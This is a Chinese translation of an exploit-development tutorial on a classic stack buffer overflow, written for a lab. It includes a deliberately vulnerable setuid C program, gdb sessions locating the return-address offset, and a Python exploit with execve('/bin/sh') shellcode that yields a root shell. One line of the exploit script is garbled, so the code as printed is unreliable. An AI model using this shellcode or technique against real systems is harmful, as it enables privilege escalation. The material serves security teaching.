#  典型的基于堆栈的缓冲区溢出

> 译者：[hackyzh](http://bbs.pediy.com/user-694899.htm)

> 原文：[Classic Stack Based Buffer Overflow](https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/)

虚拟机安装：Ubuntu 12.04（x86）

这个帖子是最简单的漏洞开发教程系列，在互联网上你可以找到很多关于它的文章。尽管它丰富和熟悉，我更喜欢自己写博客文章，因为它将作为我未来许多职位的先决条件！

**什么是缓冲区溢出？**

将源缓冲区复制到目标缓冲区可能导致溢出

1、源字符串长度大于目标字符串长度。

2、不进行大小检查。

缓冲区溢出有两种类型：

1、基于堆栈的缓冲区溢出 - 这里的目标缓冲区位于堆栈中

2、基于堆的缓冲区溢出 - 这里的目标缓冲区位于堆中

在这篇文章中，我将只讨论基于堆栈的缓冲区溢出。堆溢出将在Linux（x86）漏洞开发教程系列的 “3级”中讨论！

缓冲区溢出错误导致任意代码执行！

**什么是任意代码执行？**

任意代码执行允许攻击者执行他的代码以获得对受害机器的控制。受害机器的控制是通过多种方式实现的，例如产生根shell，添加新用户，打开网口等...

听起来很有趣，足够的定义让我们看看缓冲区溢出攻击的代码！

漏洞代码

```c
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
        /* [1] */ char buf[256];
        /* [2] */ strcpy(buf,argv[1]);
        /* [3] */ printf("Input:%s\n",buf);
        return 0;
}
```

编译代码

```
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
```

上述漏洞代码的`[2]`行显示了缓冲区溢出错误。这个bug可能导致任意代码执行，因为源缓冲区内容是用户输入的！

**如何执行任意代码执行？**

使用称为“ 返回地址覆盖 ”的技术实现任意代码执行。这种技术有助于攻击者覆盖位于堆栈中的“返回地址”，并且这种覆盖将导致任意代码执行。

在研究漏洞代码之前，为了更好的理解，让我们反汇编并且绘制出漏洞代码的堆栈布局。

反汇编

```asm
(gdb) disassemble main
Dump of assembler code for function main:
   //Function Prologue
   0x08048414 <+0>:push   %ebp                      //backup caller's ebp
   0x08048415 <+1>:mov    %esp,%ebp                 //set callee's ebp to esp
   0x08048417 <+3>:and    $0xfffffff0,%esp          //栈对齐
   0x0804841a <+6>:sub    $0x110,%esp               //stack space for local variables
   0x08048420 <+12>:mov    0xc(%ebp),%eax            //eax = argv
   0x08048423 <+15>:add    $0x4,%eax                 //eax = &argv[1]
   0x08048426 <+18>:mov    (%eax),%eax               //eax = argv[1]
   0x08048428 <+20>:mov    %eax,0x4(%esp)            //strcpy arg2 
   0x0804842c <+24>:lea    0x10(%esp),%eax           //eax = 'buf' 
   0x08048430 <+28>:mov    %eax,(%esp)               //strcpy arg1
   0x08048433 <+31>:call   0x8048330 <strcpy@plt>    //call strcpy
   0x08048438 <+36>:mov    $0x8048530,%eax           //eax = format str "Input:%s\n"
   0x0804843d <+41>:lea    0x10(%esp),%edx           //edx = buf
   0x08048441 <+45>:mov    %edx,0x4(%esp)            //printf arg2
   0x08048445 <+49>:mov    %eax,(%esp)               //printf arg1
   0x08048448 <+52>:call   0x8048320 <printf@plt>    //call printf
   0x0804844d <+57>:mov    $0x0,%eax                 //return value 0
   //Function Epilogue
   0x08048452 <+62>:leave                            //mov ebp, esp; pop ebp; 
   0x08048453 <+63>:ret                              //return
End of assembler dump.
(gdb)
```

堆栈布局：

![](http://bbs.pediy.com/upload/attach/201704/694899_mx9rnvfv0rwlgaj.png)

因为我们已经知道用户输入的大于256，将溢出目标缓冲区并覆盖堆栈中存储的返回地址。通过发送一系列`A`来测试它。

测试步骤1：是否可以覆盖返回地址？

```
$ gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/new/csof/vuln...done.
(gdb) r `python -c 'print "A"*300'`
Starting program: /home/sploitfun/lsploits/new/csof/vuln `python -c 'print "A"*300'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) p/x $eip
$1 = 0x41414141
(gdb)
```

以上输出显示指令指针寄存器（EIP）被`AAAA`覆盖，这样可以确定覆盖返回地址是可能的！

测试步骤2：目的缓冲区的偏移量是多少？

这里让我们找出返回地址相对与目的缓冲区`buf`的偏移量。在反汇编并绘制了`main`的堆栈布局后，现在可以尝试找到偏移位置信息！ 堆栈布局显示返回地址位于距目标缓冲区`buf`的偏移（`0x10c`）处。`0x10c`计算如下：

```
0x10c = 0x100 + 0x8 + 0x4
```

**其中**

```
0x100 is ‘buf’ 大小
0x8 is 对齐空间    //这里有点不太明白为啥需要对齐
0x4 is 调用者的ebp
```

因此，用户输入的 `"A" * 268 + "Bv * 4`，覆盖了`buf`，对齐空间和调用者的ebp覆盖为`A`并且返回地址变为`BBBB`

```
$ gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/new/csof/vuln...done.
(gdb) r `python -c 'print "A"*268 + "B"*4'`
Starting program: /home/sploitfun/lsploits/new/csof/vuln `python -c 'print "A"*268 + "B"*4'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) p/x $eip
$1 = 0x42424242
(gdb)
```

以上输出显示攻击者可以控制返回地址。 位于堆栈位置（`0xbffff1fc`）的返回地址被`BBBB`覆盖。 有了这些信息，我们可以编写一个漏洞利用程序来实现任意的代码执行。

攻击代码：

```py
#exp.py 
#!/usr/bin/env python
import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xbffff1d0       
               
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion
def conv(num):
 return struct.pack("<I",numnk + RA + NOP's + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "\x90" * 100
buf += scode
print "Calling vulnerable program"
call(["./vuln", buf])
```

执行上面的exploit程序，给了我们root shell，如下所示：

```
$ python exp.py 
Calling vulnerable program
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��P��S���
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$
```

注意：为了获得这个root shell，我们关闭了许多漏洞利用缓解技术。 对于所有文章中的1级，我已经禁用了这些利用减轻技术，因为第1级的目标是向您介绍漏洞。 当我们进入Linux（x86）利用开发教程系列的“2级”时，真正的乐趣会发生在这里，我将在此讨论绕过这些利用减轻技术！

